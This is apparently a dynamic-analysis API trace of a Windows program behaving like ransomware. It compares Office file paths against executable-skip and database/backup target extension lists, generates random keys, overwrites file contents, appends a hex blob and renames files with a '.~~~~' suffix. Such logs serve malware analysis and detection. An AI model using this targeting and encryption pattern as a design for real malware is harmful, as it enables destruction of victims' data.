	[0140.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbce53510, dwHighDateTime=0x1d60e1e)) 
	[0140.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d650
	[0140.055] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d650 | out: hHeap=0x300000) returned 1
	[0140.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e538
	[0140.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0140.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e538 | out: hHeap=0x300000) returned 1
	[0140.056] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.056] GetLastError () returned 0x0
	[0140.057] GetLastError () returned 0x0
	[0140.057] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.057] GetLastError () returned 0x0
	[0140.057] GetLastError () returned 0x0
	[0140.057] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.177] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.177] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.177] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.177] WriteFile (in: hFile=0x108, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.178] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.178] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.178] CloseHandle (hObject=0x108) returned 1
	[0140.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0140.178] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css.~~~~")) returned 1
	[0140.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0140.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0140.180] GetLastError () returned 0x0
	[0140.181] RtlWakeConditionVariable () returned 0x0
	[0140.181] GetCurrentThreadId () returned 0x3a4
	[0140.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".scr") returned 0x0
	[0140.181] lstrlenW (lpString=".cmd") returned 4
	[0140.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".cmd") returned 0x0
	[0140.181] lstrlenW (lpString=".dll") returned 4
	[0140.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dll") returned 0x0
	[0140.181] lstrlenW (lpString=".bat") returned 4
	[0140.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".bat") returned 0x0
	[0140.181] lstrlenW (lpString=".cpl") returned 4
	[0140.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".cpl") returned 0x0
	[0140.181] lstrlenW (lpString=".sys") returned 4
	[0140.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".sys") returned 0x0
	[0140.181] lstrlenW (lpString=".msc") returned 4
	[0140.181] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".msc") returned 0x0
	[0140.181] lstrlenW (lpString=".com") returned 4
	[0140.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".com") returned 0x0
	[0140.182] lstrlenW (lpString=".lnk") returned 4
	[0140.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".lnk") returned 0x0
	[0140.182] lstrlenW (lpString=".msp") returned 4
	[0140.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".msp") returned 0x0
	[0140.182] lstrlenW (lpString=".pif") returned 4
	[0140.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".pif") returned 0x0
	[0140.182] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.182] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.182] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir10f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.184] lstrlenW (lpString=".sqb") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".sqb") returned 0x0
	[0140.184] lstrlenW (lpString=".ost") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".ost") returned 0x0
	[0140.184] lstrlenW (lpString=".txt") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".txt") returned 0x0
	[0140.184] lstrlenW (lpString=".mdt") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".mdt") returned 0x0
	[0140.184] lstrlenW (lpString=".BDB") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".BDB") returned 0x0
	[0140.184] lstrlenW (lpString=".eql") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".eql") returned 0x0
	[0140.184] lstrlenW (lpString=".DBF") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DBF") returned 0x0
	[0140.184] lstrlenW (lpString=".EQL") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".EQL") returned 0x0
	[0140.184] lstrlenW (lpString=".FDB") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".FDB") returned 0x0
	[0140.184] lstrlenW (lpString=".EDB") returned 4
	[0140.184] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".EDB") returned 0x0
	[0140.184] lstrlenW (lpString=".DACPAC") returned 7
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.185] lstrlenW (lpString=".VHD") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".VHD") returned 0x0
	[0140.185] lstrlenW (lpString=".DBV") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DBV") returned 0x0
	[0140.185] lstrlenW (lpString=".dacpac") returned 7
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dacpac") returned 0x0
	[0140.185] lstrlenW (lpString=".sdf") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".sdf") returned 0x0
	[0140.185] lstrlenW (lpString=".accdb") returned 6
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".accdb") returned 0x0
	[0140.185] lstrlenW (lpString=".DBX") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DBX") returned 0x0
	[0140.185] lstrlenW (lpString=".MDT") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".MDT") returned 0x0
	[0140.185] lstrlenW (lpString=".SQB") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".SQB") returned 0x0
	[0140.185] lstrlenW (lpString=".vhd") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".vhd") returned 0x0
	[0140.185] lstrlenW (lpString=".bac") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".bac") returned 0x0
	[0140.185] lstrlenW (lpString=".mdf") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".mdf") returned 0x0
	[0140.185] lstrlenW (lpString=".BAK") returned 4
	[0140.185] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".BAK") returned 0x0
	[0140.186] lstrlenW (lpString=".BAC") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".BAC") returned 0x0
	[0140.186] lstrlenW (lpString=".dbs") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dbs") returned 0x0
	[0140.186] lstrlenW (lpString=".vhdx") returned 5
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".vhdx") returned 0x0
	[0140.186] lstrlenW (lpString=".NDF") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".NDF") returned 0x0
	[0140.186] lstrlenW (lpString=".dat") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dat") returned 0x0
	[0140.186] lstrlenW (lpString=".DBS") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DBS") returned 0x0
	[0140.186] lstrlenW (lpString=".CKP") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".CKP") returned 0x0
	[0140.186] lstrlenW (lpString=".edb") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".edb") returned 0x0
	[0140.186] lstrlenW (lpString=".PST") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".PST") returned 0x0
	[0140.186] lstrlenW (lpString=".dbf") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dbf") returned 0x0
	[0140.186] lstrlenW (lpString=".SQL") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".SQL") returned 0x0
	[0140.186] lstrlenW (lpString=".pst") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".pst") returned 0x0
	[0140.186] lstrlenW (lpString=".dbv") returned 4
	[0140.186] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dbv") returned 0x0
	[0140.187] lstrlenW (lpString=".SDF") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".SDF") returned 0x0
	[0140.187] lstrlenW (lpString=".dtxs") returned 5
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.187] lstrlenW (lpString=".db3") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".db3") returned 0x0
	[0140.187] lstrlenW (lpString=".OST") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".OST") returned 0x0
	[0140.187] lstrlenW (lpString=".dbx") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dbx") returned 0x0
	[0140.187] lstrlenW (lpString=".DB3") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DB3") returned 0x0
	[0140.187] lstrlenW (lpString=".DAT") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DAT") returned 0x0
	[0140.187] lstrlenW (lpString=".VHDX") returned 5
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.187] lstrlenW (lpString=".ndf") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".ndf") returned 0x0
	[0140.187] lstrlenW (lpString=".DB") returned 3
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DB") returned 0x0
	[0140.187] lstrlenW (lpString=".sql") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".sql") returned 0x0
	[0140.187] lstrlenW (lpString=".MYD") returned 4
	[0140.187] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".MYD") returned 0x0
	[0140.187] lstrlenW (lpString=".DBT") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DBT") returned 0x0
	[0140.188] lstrlenW (lpString=".ACCDB") returned 6
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.188] lstrlenW (lpString=".fdb") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".fdb") returned 0x0
	[0140.188] lstrlenW (lpString=".bak") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".bak") returned 0x0
	[0140.188] lstrlenW (lpString=".myd") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".myd") returned 0x0
	[0140.188] lstrlenW (lpString=".DTXS") returned 5
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.188] lstrlenW (lpString=".ckp") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".ckp") returned 0x0
	[0140.188] lstrlenW (lpString=".dbt") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".dbt") returned 0x0
	[0140.188] lstrlenW (lpString=".db") returned 3
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".db") returned 0x0
	[0140.188] lstrlenW (lpString=".TXT") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".TXT") returned 0x0
	[0140.188] lstrlenW (lpString=".MDF") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".MDF") returned 0x0
	[0140.188] lstrlenW (lpString=".bdb") returned 4
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".bdb") returned 0x0
	[0140.188] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR10F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0140.189] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.189] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.190] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.190] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.192] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0140.192] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0140.192] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26018425780) returned 1
	[0140.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbcfaa170, dwHighDateTime=0x1d60e1e)) 
	[0140.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0140.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0140.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0140.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e5380
	[0140.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e5380 | out: hHeap=0x300000) returned 1
	[0140.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e148
	[0140.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.195] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1c08
	[0140.195] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e148 | out: hHeap=0x300000) returned 1
	[0140.195] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.195] GetLastError () returned 0x0
	[0140.196] GetLastError () returned 0x0
	[0140.196] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.196] GetLastError () returned 0x0
	[0140.196] GetLastError () returned 0x0
	[0140.196] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x3bb5, lpOverlapped=0x0) returned 1
	[0140.198] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffc44b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.199] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3bb5, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x3bb5, lpOverlapped=0x0) returned 1
	[0140.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.199] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.199] WriteFile (in: hFile=0x108, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.199] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.199] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.199] CloseHandle (hObject=0x108) returned 1
	[0140.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e148
